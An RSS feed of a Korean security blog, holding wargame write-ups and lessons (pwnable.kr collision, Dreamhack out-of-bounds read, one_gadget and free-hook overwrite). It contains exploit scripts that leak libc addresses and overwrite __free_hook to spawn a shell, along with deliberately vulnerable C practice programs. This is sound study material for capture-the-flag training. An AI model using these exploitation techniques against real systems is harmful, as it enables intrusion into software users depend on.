<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>3omh4</title>
    <link>https://3omh4.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Wed, 27 May 2026 12:03:24 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>3omh4n</managingEditor>
    <item>
      <title>[pwnable.kr] collision - Write Up</title>
      <link>https://3omh4.tistory.com/entry/pwnablekr-collision-Write-Up</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;문제 확인&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;587&quot; data-origin-height=&quot;384&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dWUYya/dJMb9VNi9CU/3rkHKGdoDJc32F39BX8O30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dWUYya/dJMb9VNi9CU/3rkHKGdoDJc32F39BX8O30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dWUYya/dJMb9VNi9CU/3rkHKGdoDJc32F39BX8O30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdWUYya%2FdJMb9VNi9CU%2F3rkHKGdoDJc32F39BX8O30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;587&quot; height=&quot;384&quot; data-origin-width=&quot;587&quot; data-origin-height=&quot;384&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MD5 hash와 관련된 문제로 보인다. 문제 서버에 접속해보면 아래 사진과 같이 문제 파일, 소스코드 등이 있는걸 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;553&quot; data-origin-height=&quot;157&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkd0X5/dJMb9P7tYCJ/XvAs5Km65LVFay7qDkiOF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkd0X5/dJMb9P7tYCJ/XvAs5Km65LVFay7qDkiOF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkd0X5/dJMb9P7tYCJ/XvAs5Km65LVFay7qDkiOF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbkd0X5%2FdJMb9P7tYCJ%2FXvAs5Km65LVFay7qDkiOF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;553&quot; height=&quot;157&quot; data-origin-width=&quot;553&quot; data-origin-height=&quot;157&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag 파일은 권한이 없기 때문에 직접 확인 불가능하다. col 파일은 20바이트의 문자를 받아 passcode를 확인하는 것으로 보인다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;375&quot; data-origin-height=&quot;152&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uLDUS/dJMb9VzL6EE/PIeOUDZsHYbxXv09gmj2tK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uLDUS/dJMb9VzL6EE/PIeOUDZsHYbxXv09gmj2tK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uLDUS/dJMb9VzL6EE/PIeOUDZsHYbxXv09gmj2tK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuLDUS%2FdJMb9VzL6EE%2FPIeOUDZsHYbxXv09gmj2tK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;375&quot; height=&quot;152&quot; data-origin-width=&quot;375&quot; data-origin-height=&quot;152&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;코드 확인&lt;/h3&gt;
&lt;pre id=&quot;code_1761530558738&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int main(int argc, char* argv[]){
        if(argc&amp;lt;2){
                printf(&quot;usage : %s [passcode]\n&quot;, argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf(&quot;passcode length should be 20 bytes\n&quot;);
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                setregid(getegid(), getegid());
                system(&quot;/bin/cat flag&quot;);
                return 0;
        }
        else
                printf(&quot;wrong passcode.\n&quot;);
        return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main 함수의 line 11을 보면 hashcode와 check_password 결과가 같으면 flag를 출력하는 것을 알 수 있다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;check_password&lt;/h4&gt;
&lt;pre id=&quot;code_1761538566948&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i&amp;lt;5; i++){
                res += ip[i];
        }
        return res;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;check_password 함수는 인자로 받은 20 바이트의 char 문자열(p)을 받아와 int로 바꿔(ip) res에 합하는 형태이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 흐름은 아래와 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;line 3 - char 문자열에서 int 크기의 문자열로 변경. 즉, p[0]~p[3]의 값이 ip[0]에 int 형으로 들어가게 된다&lt;/li&gt;
&lt;li&gt;line 7 - p[0~3] + p[4~7] + p[8~11] + p[12~15] + p[16~19] = res&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국, 입력으로 받은 20바이트 문자열을 4바이트씩 짤라서 합하였을 때 0x21DD09EC와 같으면 flag를 출력한다는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;payload 작성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;16바이트를 \x00으로 넣고 마지막 4바이트에 \xEC\x09\xDD\x21(리틀엔디언이므로)을 넣으려고 했으나 `Inappropriate nulls in argv[1]` 오류로 인해 다른 페이로드를 작성하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞의 16 바이트에 \x01을 넣으면 p[0~3] + p[4~7] + p[8~11] + p[12~15] = 0x04040404가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 마지막 4바이트에는 0x21DD09EC - 0x04040404 = 0x1DD905E8 을 넣어주면 res값이 hashcode와 같아진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 아래와 같이 페이로드 전송 코드를 작성하였다.&lt;/p&gt;
&lt;pre id=&quot;code_1761539572141&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

payload = b&quot;\x01&quot;*16 + p32(0x1DD905E8)

argvs = ['./col', payload]

s = ssh(user='col', host='pwnable.kr', port=2222, password='guest')
r = s.process(executable='./col',argv=argvs)
r.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;564&quot; data-origin-height=&quot;309&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CalQi/dJMb9OU2wSM/KOVWndWbgAcWW652OhW5Qk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CalQi/dJMb9OU2wSM/KOVWndWbgAcWW652OhW5Qk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CalQi/dJMb9OU2wSM/KOVWndWbgAcWW652OhW5Qk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCalQi%2FdJMb9OU2wSM%2FKOVWndWbgAcWW652OhW5Qk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;564&quot; height=&quot;309&quot; data-origin-width=&quot;564&quot; data-origin-height=&quot;309&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>wargame - system/pwnable.kr</category>
      <author>3omh4n</author>
      <guid isPermaLink="true">https://3omh4.tistory.com/67</guid>
      <comments>https://3omh4.tistory.com/entry/pwnablekr-collision-Write-Up#entry67comment</comments>
      <pubDate>Mon, 27 Oct 2025 13:34:04 +0900</pubDate>
    </item>
    <item>
      <title>[System][Dreamhack] Out of Bound- OOB</title>
      <link>https://3omh4.tistory.com/entry/SystemDreamhack-Out-of-Bound-OOB</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;배열&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배열의 각 요소(a배열의 0번째 요소,..)별 주소는 배열의 주소, 요소의 인덱스, 요소 자료형의 크기를 이용해 계산된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;828&quot; data-origin-height=&quot;305&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cZV9ry/btsM2WoJx1G/NEVlT11yH1Otv59L38lnO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cZV9ry/btsM2WoJx1G/NEVlT11yH1Otv59L38lnO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cZV9ry/btsM2WoJx1G/NEVlT11yH1Otv59L38lnO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcZV9ry%2FbtsM2WoJx1G%2FNEVlT11yH1Otv59L38lnO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;597&quot; height=&quot;220&quot; data-origin-width=&quot;828&quot; data-origin-height=&quot;305&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Out of Bound&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OOB는 요소의 크기를 벗어난 참조가 일어날 때 발생한다. 위의 예시처럼 배열의 크기가 4일 때, a[-1], a[4] 등의 요소에 접근할 경우 배열을 벗어난 참조가 일어난다. OOB는 컴파일 단계에서 탐지가 불가능하고, 이를 방지하는 것은 개발자의 몫이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;OOB 실습&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래의 c언어 코드를 컴파일한 후, docs의 배열에 OOB를 이용해 secret.txt의 내용을 읽을 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1743351964203&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Name: oob_read.c
// Compile: gcc -o oob_read oob_read.c

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

char secret[256];

int read_secret() {
  FILE *fp;

  if ((fp = fopen(&quot;secret.txt&quot;, &quot;r&quot;)) == NULL) {
    fprintf(stderr, &quot;`secret.txt` does not exist&quot;);
    return -1;
  }

  fgets(secret, sizeof(secret), fp);
  fclose(fp);

  return 0;
}

int main() {
  char *docs[] = {&quot;COMPANY INFORMATION&quot;, &quot;MEMBER LIST&quot;, &quot;MEMBER SALARY&quot;,
                  &quot;COMMUNITY&quot;};
  char *secret_code = secret;
  int idx;

  // Read the secret file
  if (read_secret() != 0) {
    exit(-1);
  }

  // Exploit OOB to print the secret
  puts(&quot;What do you want to read?&quot;);
  for (int i = 0; i &amp;lt; 4; i++) {
    printf(&quot;%d. %s\n&quot;, i + 1, docs[i]);
  }
  printf(&quot;&amp;gt; &quot;);
  scanf(&quot;%d&quot;, &amp;amp;idx);

  if (idx &amp;gt; 4) {
    printf(&quot;Detect out-of-bounds&quot;);
    exit(-1);
  }

  puts(docs[idx - 1]);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 코드를 보면 line41에서 얻은 idx 값을 line48에서 검증하지 않고, docs[idx-1]의 값을 출력한다. idx로 0을 넣을 경우, docs[-1]이 출력되는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx에 어떤 값을 넣어야 secret.txt의 값이 출력되는지를 위해, 스택 구조가 어떻게 되는지 확인한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzuHm8/btsMZIy07cK/yc7iXAIWucpOhF0Bs2Ikak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzuHm8/btsMZIy07cK/yc7iXAIWucpOhF0Bs2Ikak/img.png&quot; data-origin-width=&quot;731&quot; data-origin-height=&quot;348&quot; data-is-animation=&quot;false&quot; style=&quot;width: 66.8204%; margin-right: 10px;&quot; data-widthpercent=&quot;67.61&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzuHm8/btsMZIy07cK/yc7iXAIWucpOhF0Bs2Ikak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzuHm8%2FbtsMZIy07cK%2Fyc7iXAIWucpOhF0Bs2Ikak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;731&quot; height=&quot;348&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgUKYJ/btsM1JwSPBc/dBy66bhytGsk6KgulsEm2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgUKYJ/btsM1JwSPBc/dBy66bhytGsk6KgulsEm2K/img.png&quot; data-origin-width=&quot;776&quot; data-origin-height=&quot;771&quot; data-is-animation=&quot;false&quot; style=&quot;width: 32.0168%;&quot; data-widthpercent=&quot;32.39&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgUKYJ/btsM1JwSPBc/dBy66bhytGsk6KgulsEm2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgUKYJ%2FbtsM1JwSPBc%2FdBy66bhytGsk6KgulsEm2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;776&quot; height=&quot;771&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스택 구조상 docs[-1]이면 secret의 값이 출력된다. 따라서, 0을 입력할 경우 secret.txt에 적힌 값이 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;377&quot; data-origin-height=&quot;159&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oQywA/btsM2yhjAIO/j81BaW9pOyiUtaxfukW3YK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oQywA/btsM2yhjAIO/j81BaW9pOyiUtaxfukW3YK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oQywA/btsM2yhjAIO/j81BaW9pOyiUtaxfukW3YK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoQywA%2FbtsM2yhjAIO%2Fj81BaW9pOyiUtaxfukW3YK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;377&quot; height=&quot;159&quot; data-origin-width=&quot;377&quot; data-origin-height=&quot;159&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CS/system</category>
      <author>3omh4n</author>
      <guid isPermaLink="true">https://3omh4.tistory.com/66</guid>
      <comments>https://3omh4.tistory.com/entry/SystemDreamhack-Out-of-Bound-OOB#entry66comment</comments>
      <pubDate>Mon, 31 Mar 2025 01:37:50 +0900</pubDate>
    </item>
    <item>
      <title>[System][Dreamhack] Exploit Tech: Hook Overwrite - one_gadget</title>
      <link>https://3omh4.tistory.com/entry/SystemDreamhack-Exploit-Tech-Hook-Overwrite-onegadget</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;one_gadget(magic_gadget)은 실행하면 쉘이 획득되는 코드 뭉치를 말한다. 여러 gadget의 조합없이, 하나의 gadget만으로도 쉘을 실행할 수 있는 gadget이다. HITCON, 217 CTF팀의&amp;nbsp; &lt;a href=&quot;https://github.com/david942j/one_gadget&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;david942j가 만든 one_gadget&lt;/a&gt;을 사용하면 쉽게 찾을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;one_gadget은 libc 버전마다 다르게 존재하고, 제약 조건도 모두 다르다. Glibc의 버전이 높아질수록 제약 조건을 만족시키기 어렵기 때문에, 상황에 따라 맞는 gadget을 사용하거나 제약조건을 만족하도록 조작해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;one_gadget은 함수에 인자를 전달하기 어려울 때 활용할 수 있다. __malloc_hock을 overwrite하는 것은 가능하지만 malloc의 인자에 &quot;/bin/sh&quot;을 전달할 수 없을 때 one_gadget을 사용하면 이를 호출해 쉘을 획득할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;one_gadget 설치&lt;/h2&gt;
&lt;pre id=&quot;code_1710117887164&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gem install one_gadget&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;one_gadget 실행&lt;/h2&gt;
&lt;pre id=&quot;code_1710117940972&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;one_gadget ./libc-2.27.so&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;410&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1qEo9/btsFHrW7j6b/zQLsTWJA2VjqfI27DStOKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1qEo9/btsFHrW7j6b/zQLsTWJA2VjqfI27DStOKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1qEo9/btsFHrW7j6b/zQLsTWJA2VjqfI27DStOKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1qEo9%2FbtsFHrW7j6b%2FzQLsTWJA2VjqfI27DStOKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;852&quot; height=&quot;410&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;410&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;one_gadget을 이용한 쉘 획득&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://3omh4.tistory.com/entry/SystemDreamhack-Exploit-Tech-Hook-Overwrite23&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://3omh4.tistory.com/entry/SystemDreamhack-Exploit-Tech-Hook-Overwrite23&lt;/a&gt; 이 글의 드림핵 워게임 fho를 대상으로 one_gadget을 이용한 페이로드를 작성하였다.&lt;/p&gt;
&lt;pre id=&quot;code_1710120585453&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# bof
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
main_return_address = u64(p.recvline()[:-1] + b'\x00'*2)

base_libc = main_return_address - (off_libc_start + 231)
free_hook = base_libc + off_free_hook
one_gadget = base_libc + 0x4f432

# overwrite 'free_hook' with 'execve(&quot;/bin/sh&quot;)'
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(one_gadget).encode())

p.recvuntil('To free: ')
p.sendline(str(0x11).encode())

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 hook_overwrite와 다른 점은 line15에서 free_hook을 execve를 실행하도록 one_gadget을 넣어준 부분이다. 여기서 free를 실행하면 free_hook 대신 execve를 실행하게 되므로 line 18의 내용은 의미 없는 것으로 보인다.&lt;/p&gt;</description>
      <category>CS/system</category>
      <category>Dreamhack</category>
      <category>one_gadget</category>
      <category>System</category>
      <author>3omh4n</author>
      <guid isPermaLink="true">https://3omh4.tistory.com/63</guid>
      <comments>https://3omh4.tistory.com/entry/SystemDreamhack-Exploit-Tech-Hook-Overwrite-onegadget#entry63comment</comments>
      <pubDate>Mon, 11 Mar 2024 10:30:10 +0900</pubDate>
    </item>
    <item>
      <title>[System][Dreamhack] Exploit Tech: Hook Overwrite(2/2)</title>
      <link>https://3omh4.tistory.com/entry/SystemDreamhack-Exploit-Tech-Hook-Overwrite23</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;드림핵 RELRO 강의, 드림핵 wargame fho 문제에 대한 글이다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Free Hook Overwrite&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실습 코드&lt;/h3&gt;
&lt;pre id=&quot;code_1706102690226&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Name: fho.c
// Compile: gcc -o fho fho.c

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts(&quot;[1] Stack buffer overflow&quot;);
  printf(&quot;Buf: &quot;);
  read(0, buf, 0x100);
  printf(&quot;Buf: %s\n&quot;, buf);

  puts(&quot;[2] Arbitrary-Address-Write&quot;);
  printf(&quot;To write: &quot;);
  scanf(&quot;%llu&quot;, &amp;amp;addr);
  printf(&quot;With: &quot;);
  scanf(&quot;%llu&quot;, &amp;amp;value);
  printf(&quot;[%p] = %llu\n&quot;, addr, value);
  *addr = value;

  puts(&quot;[3] Arbitrary-Address-Free&quot;);
  printf(&quot;To free: &quot;);
  scanf(&quot;%llu&quot;, &amp;amp;addr);
  free(addr);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;보호 기법&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;483&quot; data-origin-height=&quot;135&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uh7GA/btsDRcCnoxu/IjkTG6P6Y4L5o7GuaGpDDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uh7GA/btsDRcCnoxu/IjkTG6P6Y4L5o7GuaGpDDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uh7GA/btsDRcCnoxu/IjkTG6P6Y4L5o7GuaGpDDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fuh7GA%2FbtsDRcCnoxu%2FIjkTG6P6Y4L5o7GuaGpDDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;483&quot; height=&quot;135&quot; data-origin-width=&quot;483&quot; data-origin-height=&quot;135&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 보호 기법이 적용되어 있음을 알 수 있다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;코드 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;line16 - 19&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;버퍼의 크기는 0x30이고, read로 버퍼에 적는 값은 0x100이므로 버퍼오버플로우가 발생한다.&lt;/li&gt;
&lt;li&gt;카나리 값도 모르고, ret 주소 조작할만한 것 없다. &amp;rarr; 스택의 데이터를 읽는 데 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;line 21 - 27&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주소를 입력하고, 해당 주소에 임의의 값을 쓸 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;line 29 - 32&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주소를 입력하고, 해당 메모리를 해제할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;페이로드 설계&lt;/h3&gt;
